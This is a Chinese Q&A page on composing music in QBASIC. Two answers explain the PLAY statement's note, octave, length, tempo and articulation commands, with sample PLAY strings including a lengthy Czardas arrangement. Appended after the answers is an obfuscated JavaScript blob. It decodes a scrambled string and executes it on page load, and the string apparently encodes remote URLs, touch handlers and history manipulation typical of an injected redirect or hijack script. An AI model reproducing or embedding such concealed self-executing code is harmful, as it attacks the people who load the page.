谁能告诉我怎样用QBASIC编歌的秘诀?

要用QBASIC编的详细方法,并试编一个“东方红”的程序。
2025-02-27 17:02:27
推荐回答(2个)
回答1:

Qbasic音乐编程 2006-4-11 17:04:37
QB中提供了专门的演奏音乐的语句PLAY和通用的发声语句SOUND,不过由于那会儿多媒体并不像如今这般流行,所以所谓的音乐也仅仅相当于手机中的单音铃声。对于听惯了低音炮、立体声、混响的我们,偶尔自娱自乐还是挺不错的:)

下面先介绍PLAY语句
功能:演奏由给定的字符串所表示的音乐
格式:PLAY [命令字符串]
说明:[命令字符串]是一种音乐语言单个字符命令组成,用以表示音符的音高、音长、速度及演奏方式等。
乐谱中的音符CDEFGAB(当1=C时相当于简符1234567)在BASIC中仍然是这7个字母,“#”(或“+”)号与“-”号分别表示乐谱中的升半音(#)和降半音(b),字符“.”代表延长前面音符的一半时长(用来表示附点音符),其他字符命今如下:
1、O命令
功能:用来设置要演奏的音符所在的八度,即音阶。
格式:On
说明:命令中n的取值为0-6。比如.使计算机在演奏完音阶3的CD之后,再演奏一个高八度的C,即音阶4中的c调,可以用PLAY “O3CDO4C”来实现。普通中音是指音阶3中的音符。
2、L命令
功能;用来设置要演奏的每个音符的长度(亦称音符的时值)。
格式:Ln
说明:n的取值1-64,L1表示以全音符,L2表示半音符,L4表示四分音符,L8表示八分音符……
一个音符的时值也可以直接写在该音符后面,而不用L命令。如L8A与A8等效,C4E4D4A4等效于L4CEDA,而L4CDEFC2AB2则表示音符后面不带数字的按L设定的四分音符演奏,后面带数字的G2和B2按数字指定的音值演奏,显然用L命令更简洁方便。
3、P命令
功能:表示休止符的长度
格式:Pn
说明:n的取值1-64,P1表示全休止符.P2表示半休止符,P4表示四分休止符……
4、T命令
功能;用来设置演奏的节拍速度。
格式:Tn
说明:n为每分钟演奏四分音符的数量,取值32-255,缺省是T120
注意:除了T命令外还可以用以下三个命令来控制演奏的速度:
(1)MN(音乐标准):它使每个音符以L设定的音值的7/8来演奏,使得两两音符之间有短暂的停顿。
(2)ML(音乐连奏);使演奏时两两音符间不停顿,每个音符将演奏足L规定的音长。
(3)Ms(音乐断音):使每个音符更短一些,以L给出的音值的3/4来演奏,以此来延长音符间的停顿。
另外.QB演奏音乐时有两种方式供选择:前台音乐和背景音乐。由MF和MB来确定。当“命令字符串”中出现MF时,表示在前台插放音乐.即QB要等到执行完PLAY语句后才能继续往下执行程序,在播放音乐时不能做其它的事情。而出现MB时,则表示在后台播放音乐,QB可以将最多32个音符或休止符保存在缓冲区,然后继续执行下面程序,而无需等待把这些音符全部演奏完。这样,MB允许QB在演奏的同时做一些其它的事情,如运算、绘图等等。
现在,在了解了PLAY语句使用方法的基础上我们编制一个简单的程序,来演奏《友谊地久天长》的片断,其相应的简谱如下:
我们把这段乐曲分四部分,每部分单独用一字符串表示,为使两部分间有短暂停顿,在每一部分的末端都用MN演奏。乐曲中连线处用ML连贯演奏。
A$="O2MNG O3C.C16CE D.C16DE C.C16EG MNA4."
B$="A G.E16EC D.C16DE C.O2A16AG O3MNC4."
C$="A MLG.E16EC D.C16MNDA MLG.E16EG MNA4."
D$="O4C O3G.E16EC D.C16DE C.O2A16AG O3C4."
PLAY "T60 L8"+A$+B$+C$+D$
END
为清晰起见,程序中各小节的音乐编码之间以空格分开,这样编码与乐谱之间的对应关系一目了然。

Qbasic音乐编程之 play语句 2006-4-11 17:06:42
PLAY里有用的字母只有: T O L MS MN ML
T代表速度,"t140"表示140拍/分钟,但是如果你写"t120",那就和没写一样,因为t120是默认值
O代表音高,"o2"表示中音,"o3"表示高音,但是如果你写"o4",那就和没写一样,理由同上
ML表示演奏ML以后的音的100%长度
MN表示演奏MN以后的音的87.5%长度,是默认值
MS表示演奏MS以后的音的75%长度

举例子PLAY "t140mno3e8e8e8c8o2g4g4o3e8e8e8c8e2g8g8e8c8o2g8g8g4a8b8o3c8e8d2"
t140说的是,一分钟140拍
mn说的是,每个音都演奏87.5%长度,空12.5%
o3说的是音高,如果你想升一个8音度,可以改成o4
e8代表8分音符的咪,e2代表2分音符
如果你想听一个符点2分音符,则要变成e2.,这和音乐里是一样的

下面要把上面的那条语句做一点变动,可以使你更好的理解各个字母的含义
首先变成PLAY "t140mno3e8e8e8c8o2g4g4o3t160e8e8e8c8e2t180g8g8e8c8o2g8g8g4a8b8o3c8e8d2"
感觉如何?basic提供的速度的范围是 32-255
然后变成PLAY "t140mso3e8e8e8c8o2g4g4o3mne8e8e8c8e2mlg8g8e8c8o2g8g8g4a8b8o3c8e8d2"
这就是mn,ms,ml的区别
另外,对于程序中的那一堆8,你是否感觉到很烦人呢?
PLAY "t140mno3e8e8e8c8o2g4g4o3e8e8e8c8e2g8g8e8c8o2g8g8g4a8b8o3c8e8d2"
那么,我把它变成PLAY "t140mnl8o3eeeco2g4g4o3eeece2ggeco2ggg4abo3ced2"
和原来是一样的,这就是L的用法。L的默认值是4
也就是说,原程序可以变成PLAY "t140mno3e8e8e8c8o2ggo3e8e8e8c8e2g8g8e8c8o2g8g8ga8b8o3c8e8d2"

叙述一下mn ms ml的用法,以及每个音的长度等问题,使得乐曲听起来更加圆润

首先说一下P的用法。P代表休止,如P4代表空一拍,P8代表空半拍等等
但要注意,P不受L的限制,P后面必须要跟一个数。例如你想空半拍,写成L8P,是不对的,只能写成P8

还拿上一部分的例子
PLAY "t140mno3e8e8e8c8o2g4g4o3e8e8e8c8e2g8g8e8c8o2g8g8g4a8b8o3c8e8d2"
相信我写成Play"t140o3l8eeecl4o2ggo3l8eeece2ggeco2ggg4abo3ced2"你也能看的懂,和原来一样的

听了之后,发现有些声音太长了,有些声音不够圆滑
于是将其改为:PLAY "t140o3l8eeeco2g4g4o3l8eeece4.p8ggeco2ggg4mlabo3cmned4.p8"

另外有时看曲谱上是顿音记号,可是在听或演奏时,发现用ms还是太长了,那么就应该把o3msc8(举例)改成o3mlc16p16

下面说音长的问题,重点就是每个小节或每个音该有多长,就要写多长,绝对不能多一点少一点
比如前缀音:PLAY "t160mlo3f32mne8f8"
我本意是在e8前加一个f32的前缀,结果这一拍多了个32分音符,那么一定要改成:
PLAY "t160mlo3f32e16e64p64mnf8"
似乎有点吹毛求疵,但即使你听不出来差别,拿给一个耳朵好的人,他听着就会很不爽
CZARDAS舞曲
PLAY "t85p8l8o1mlao2c32o1b-16b-32mna"
PLAY "o2mla2mnaffgmlf64g64f16f32mne"
PLAY "mlb-2mnb-o1b-mlb-mnamlo2c+mneggmlfmnc+"
PLAY "mlemndmld64e64d64p64msl16c+de"
PLAY "mnf8mlo1a8"
PLAY "l8o1mlo2c32o1b-16b-32mna"
PLAY "o2mla2mnaffgmlf64g64f16f32mne"
PLAY "mlb-2mnb-o1b-mlb-mnamlo2dmnc+mlg4.mnemlemnd"
PLAY "mld64e64d16d32c+mnd4p4"

PLAY "t85l24mlo2c4cegb-o3cmneg16.mlf32mne16.d32mlc8mno2b-8"
PLAY "mlb-8mna8mla64b-64a32a8mng+16a4p4"
PLAY "mlo1a4ao2c+egamno3c+e8c+8mla8mno2a8mlo3e8mnd8"
PLAY "mll16d64e64d32c+dmnef4f4"
PLAY "mlf4o2b-4t78l36b-p36o3efed+efel12gfmne"
PLAY "mle8mno2a8mla4mna8l16mlg+mnab-at70mlo3c16.mnt75o2b-32"
PLAY "t78mll16o2b-64o3c64o2b-32aa64b-64a32mng"
PLAY "mlg64a64g32ff64g64f32mne"
PLAY "t76mla4.mnt74e8mlt71e8mnd8mlt67d64e64d32d16mnc+8d4p4"

PLAY "t85l24mlo2c4cegb-o3cmneg16.mlf32mne16.d32mlc8mno2b-8"
PLAY "mlb-8mna8mla64b-64a32a8mng+16a4p4"
PLAY "mlo1a4ao2c+egamno3c+e8c+8mla8mno2a8mlo3e8mnd8"
PLAY "mll16d64e64d32c+dmnef4f4"
PLAY "mlf4o2b-4t78l36b-p36o3efed+efel12gfmne"
PLAY "mle8mno2a8mla4mna8l16mlg+mnab-at70mlo3c16.mnt75o2b-32"
PLAY "t78mll16o2b-64o3c64o2b-32aa64b-64a32mng"
PLAY "mlg64a64g32ff64g64f32mne"
PLAY "t76mla4.mnt74e8mlt71e8mnd8mlt67d64e64d32d16mnc+8d4p4"

PLAY "t170o3msl8do4dp8o3b-p8ap8femnd4msc+mld4mndp8"
PLAY "l16defedefedefedefdmnf8e4msd+8mle4mne8p8"
PLAY "gab-agab-agab-agb-agfgagfgagfgagfagf"
PLAY "o2abo3c+defgab-agfedc+emne8d4msc+8"
PLAY "mnd4p4"

PLAY "t170o3msl8do4dp8o3b-p8ap8femnd4msc+mld4mndp8"
PLAY "l16defedefedefedefdmnf8e4msd+8mle4mne8p8"
PLAY "gab-agab-agab-agb-agfgagfgagfgagfagf"
PLAY "o2abo3c+defgab-agfedc+emne8d4msc+8"
PLAY "mnd4p4"

PLAY "t170mll16o3c64d64c64mso2bo3cegb-ge"
PLAY "mll16o3c64d64c64mso2bo3cegb-ge"
PLAY "o2b-ab-o3cdefgmla4mna8p8"
PLAY "mlo2b-64a32msg+ao3c+egec+"
PLAY "mlo2b-64a32msg+ao3c+egec+"
PLAY "mlo2b-64a32msg+abo3c+dedmlf4mnf8p8"
PLAY "msb-agab-agab-agab-agb-agfgagfgagfgagfa"
PLAY "mno2abo3c+defgab-agfedc+emse8mnd4msc+8mnd4p4"

PLAY "t170mll16o3c64d64c64mso2bo3cegb-ge"
PLAY "mll16o3c64d64c64mso2bo3cegb-ge"
PLAY "o2b-ab-o3cdefgmla4mna8p8"
PLAY "mlo2b-64a32msg+ao3c+egec+"
PLAY "mlo2b-64a32msg+ao3c+egec+"
PLAY "mlo2b-64a32msg+abo3c+dedmlf4mnf8p8"
PLAY "msb-agab-agab-agab-agb-agfgagfgagfgagfa"
PLAY "mno2abo3c+defgab-agfedc+emse8mnd4msc+8mnd4p4"

PLAY "t105mno4l16d4o3a8.a16mlb8mna8mlg8mnf+8"
PLAY "mlf+8mne8t210mle32f+32e64e64e64p64t105mnd+egb2"
PLAY "l8mlb.mnc+16mlc+mno4emle.mno3g16gmsgmlgmnf+"
PLAY "t210mlf+32g32f+64f+64f+64t105mne16d16e16f+2"
PLAY "mno4l16d4o3a8.a16mlb8mna8mlg8mnf+8"
PLAY "mlf+8mne8t210mle32f+32e64e64e64p64t100mnd+egb2"
PLAY "l8o4mld.mno3a16aamlbmnaac+mlemndmld64e64d32d32d64p64msc+mnd4p4"

PLAY "t95o5mnl8d4o4a.a16mlbmnamlgmnf+mlf+mnemlemngb2"
PLAY "b.msa16mnaamlo5c+mno4bmlamngmlgmnf+mlf+mnff+2"
PLAY "o5mnl8d4o4a.a16mlbmnamlgmnf+mlf+mnemlemngb2"
PLAY "o5d4o4a.msa16mlt92bmnamlt90amnc+mlt86emndmldmnc+d2"

PLAY "t170mll16o3c64d64c64mso2bo3cegb-ge"
PLAY "mll16o3c64d64c64mso2bo3cegb-ge"
PLAY "o2b-ab-o3cdefgmla4mna8p8"
PLAY "mlo2b-64a32msg+ao3c+egec+"
PLAY "mlo2b-64a32msg+ao3c+egec+"
PLAY "mlo2b-64a32msg+abo3c+dedmlf4mnf8p8"
PLAY "msb-agab-agab-agab-agb-agfgagfgagfgagfa"
PLAY "o2abo3c+defgab-ag+ag+abo4c+mnd8p8p4p2"

PLAY "t170o3mnd8o4d4o3b4a4f+8mse8mnd4msc+8mld4mnd8p8"
PLAY "l16msdef+edef+edef+edef+dmnf+8e4msd+8mle4mne8p8"
PLAY "msgabagabagabagbagf+gagf+gagf+gagf+gaf+"
PLAY "ef+g+f+ef+g+f+mnef+gf+ef+g+e"
PLAY "a8a4a4a4o2a8"

PLAY "t170o3mnd8o4d4o3b4a4f+8mse8mnd4msc+8mld4mnd8p8"
PLAY "l16msdef+edef+edef+edef+dmnf+8e4msd+8mle4mne8p8"
PLAY "l16gabagabagabagbagf+gagf+gagf+gagf+gaf+ed+ef+gf+ga"
PLAY "mlbmnag+ag+abo4c+o4d4p4o3t160a4p4o2d2"

回答2:

使用PLAY 语句
每个音符从中间隔开一个空格,
它们对应的简谱是
1 2 3 4 5 6 7
C D E F G A B

音调用On
O3 低音区
O4 中音区
O5 高音区

也可以用
+ - 控制音调

用Pn代表休止符

副点用.表示

用CDEFGAB 加上 1 2 4 8 16 32 64 做音长

在PLAY后面的表达式中可以定义演唱方式
MF 普通模式
MB 背景音乐模式

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();